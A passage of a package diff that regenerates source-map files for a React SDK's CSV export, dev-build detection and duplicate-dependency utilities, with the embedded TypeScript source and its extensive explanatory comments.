\"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    options: CsvOptions = {},\n): string {\n    const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n    const lines = [\n        columns\n            .map((column) =>\n                escapeField(\n                    cellText(column.header, neutralizeFormulas),\n                    delimiter,\n                    neutralizeFormulas,\n                ),\n            )\n            .join(delimiter),\n    ];\n\n    for (const row of rows) {\n        const cells = columns.map((column) => {\n            const raw = column.csv\n                ? column.csv(row)\n                : (row as Record<string, unknown>)[column.key as string];\n            return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n        });\n        lines.push(cells.join(delimiter));\n    }\n\n    return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n *   {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    fileName = \"export.csv\",\n    options: CsvOptions = {},\n): Promise<void> {\n    const blob = new Blob([toCsv(rows, columns, options)], {\n        type: \"text/csv;charset=utf-8\",\n    });\n    await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAMA,IAAM,KA4DNC,IAAkB,gBAQlBC,IAAe;AAyBrB,SAASC,EAAkB,GAAuB;CAE9C,OADIC,MAAU,OAAOF,EAAa,KAAKE,CAAK,IAAUA,IAC/CH,EAAgB,KAAKG,CAAK,IAAI,IAAIA,MAAUA;AACvD;AASA,IAAMC,IAAkB;AAoBxB,SAASC,EAAY,GAAe,GAAmB,GAAkC;CAQrF,OANIF,EAAM,SAASG,CAAS,KACvBC,KAAmBH,EAAgB,KAAKD,CAAK,KAAK,CAACF,EAAa,KAAKE,CAAK,KAC3EA,EAAM,SAAS,IAAG,KAClBA,EAAM,SAAS,IAAI,KACnBA,EAAM,SAAS,IAAI,IAEhB,IAAIA,EAAM,WAAW,MAAK,MAAI,EAAE,KADhBA;AAE3B;AAiBA,SAASK,EAAS,GAAgB,GAA6B;CAM3D,OALIL,KAAU,OAAoC,KAC9C,OAAOA,KAAU,YAAY,OAAOA,KAAU,YAAY,OAAOA,KAAU,YACpE,OAAOA,CAAK,IAEnBA,aAAiB,OAAaA,EAAM,YAAY,IAC7CM,IAAaP,EAAkB,OAAOC,CAAK,CAAC,IAAI,OAAOA,CAAK;AACvE;AAwBA,SAAgBO,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAASC,GAE7DC,IAAQ,CACVC,EACK,KAAK,MACFR,EACIG,EAASM,EAAO,QAAQC,CAAkB,GAC1CT,GACAS,CACJ,CACJ,CAAC,CACA,KAAKT,CAAS,CACvB;CAEA,KAAK,IAAMU,KAAOC,GAAM;EACpB,IAAMC,IAAQL,EAAQ,KAAK,MAIhBR,EAAYG,EAHPM,EAAO,MACbA,EAAO,IAAIE,CAAG,IACbA,EAAgCF,EAAO,MACbC,CAAkB,GAAGT,GAAWS,CAAkB,CACtF;EACD,EAAM,KAAKG,EAAM,KAAKZ,CAAS,CAAC;CACpC;CAEA,OAAO,GAAGa,IAAMpB,IAAM,KAAKa,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsBQ,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAMC,IAAO,IAAI,KAAK,CAACX,EAAMO,GAAMJ,GAASF,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAMW,EAAoBD,GAAME,CAAQ;AAC5C"}

package/dist/utils/dev-mode.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"dev-mode.cjs","names":[],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n *   file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n *   automatic answer is `true` and `parseResponse` would put the raw response\n *   payload in an error string seen by real users. `setDevBuild(false)` closes\n *   that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n *     `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n    configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n    if (configuredDevBuild !== undefined) return configuredDevBuild;\n    try {\n        return process.env.NODE_ENV !== \"production\";\n    } catch {\n        return false;\n    }\n}\n"],"mappings":"AAkEA,IAAI,EAmDJ,SAAgB,EAAY,EAAkC,CAC1D,EAAqB,CACzB,CAEA,SAAgB,GAAsB,CAClC,GAAI,IAAuB,IAAA,GAAW,OAAO,EAC7C,GAAI,CACA,OAAA,QAAA,IAAA,WAAgC,YACpC,MAAQ,CACJ,MAAO,EACX,CACJ"}
+{"version":3,"file":"dev-mode.cjs","names":["configuredDevBuild","setDevBuild","value","isDevBuild"],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n *   file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n *   automatic answer is `true` and `parseResponse` would put the raw response\n *   payload in an error string seen by real users. `setDevBuild(false)` closes\n *   that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n *     `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n    configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n    if (configuredDevBuild !== undefined) return configuredDevBuild;\n    try {\n        return process.env.NODE_ENV !== \"production\";\n    } catch {\n        return false;\n    }\n}\n"],"mappings":"AAkEA,IAAIA,EAmDJ,SAAgBC,EAAY,EAAkC,CAC1D,EAAqBC,CACzB,CAEA,SAAgBC,GAAsB,CAClC,GAAIH,IAAuB,IAAA,GAAW,OAAOA,EAC7C,GAAI,CACA,OAAA,QAAA,IAAA,WAAgC,YACpC,MAAQ,CACJ,MAAO,EACX,CACJ,C"}

package/dist/utils/dev-mode.js.map

@@ -1 +1 @@
-{"version":3,"file":"dev-mode.js","names":[],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n *   file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n *   automatic answer is `true` and `parseResponse` would put the raw response\n *   payload in an error string seen by real users. `setDevBuild(false)` closes\n *   that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n *     `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n    configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n    if (configuredDevBuild !== undefined) return configuredDevBuild;\n    try {\n        return process.env.NODE_ENV !== \"production\";\n    } catch {\n        return false;\n    }\n}\n"],"mappings":";AAkEA,IAAI;AAmDJ,SAAgB,EAAY,GAAkC;CAC1D,IAAqB;AACzB;AAEA,SAAgB,IAAsB;CAClC,IAAI,MAAuB,KAAA,GAAW,OAAO;CAC7C,IAAI;EACA,OAAA,QAAA,IAAA,aAAgC;CACpC,QAAQ;EACJ,OAAO;CACX;AACJ"}
+{"version":3,"file":"dev-mode.js","names":["configuredDevBuild","setDevBuild","value","isDevBuild"],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n *   file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n *   automatic answer is `true` and `parseResponse` would put the raw response\n *   payload in an error string seen by real users. `setDevBuild(false)` closes\n *   that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n *     `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n    configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n    if (configuredDevBuild !== undefined) return configuredDevBuild;\n    try {\n        return process.env.NODE_ENV !== \"production\";\n    } catch {\n        return false;\n    }\n}\n"],"mappings":";AAkEA,IAAIA;AAmDJ,SAAgBC,EAAY,GAAkC;CAC1D,IAAqBC;AACzB;AAEA,SAAgBC,IAAsB;CAClC,IAAIH,MAAuB,KAAA,GAAW,OAAOA;CAC7C,IAAI;EACA,OAAA,QAAA,IAAA,aAAgC;CACpC,QAAQ;EACJ,OAAO;CACX;AACJ"}

package/dist/utils/duplicate-instance.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"duplicate-instance.cjs","names":[],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n    \"Two copies of a package that carries React context cannot see each other's \" +\n    \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n    \"dependency, then align the versions so a single copy satisfies both the app \" +\n    \"and the SDK.\";\n"],"mappings":"AAoBA,IAAa,EACT"}
+{"version":3,"file":"duplicate-instance.cjs","names":["DUPLICATE_COPY_REMEDY"],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n    \"Two copies of a package that carries React context cannot see each other's \" +\n    \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n    \"dependency, then align the versions so a single copy satisfies both the app \" +\n    \"and the SDK.\";\n"],"mappings":"AAoBA,IAAaA,EACT,oP"}

package/dist/utils/duplicate-instance.js.map

@@ -1 +1 @@
-{"version":3,"file":"duplicate-instance.js","names":[],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n    \"Two copies of a package that carries React context cannot see each other's \" +\n    \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n    \"dependency, then align the versions so a single copy satisfies both the app \" +\n    \"and the SDK.\";\n"],"mappings":";AAoBA,IAAa,IACT"}
+{"version":3,"file":"duplicate-instance.js","names":["DUPLICATE_COPY_REMEDY"],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n    \"Two copies of a package that carries React context cannot see each other's \" +\n    \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n    \"dependency, then align the versions so a single copy satisfies both the app \" +\n    \"and the SDK.\";\n"],"mappings":";AAoBA,IAAaA,IACT"}

package/dist/utils/format.cjs.map

@@ -1 +1 @@
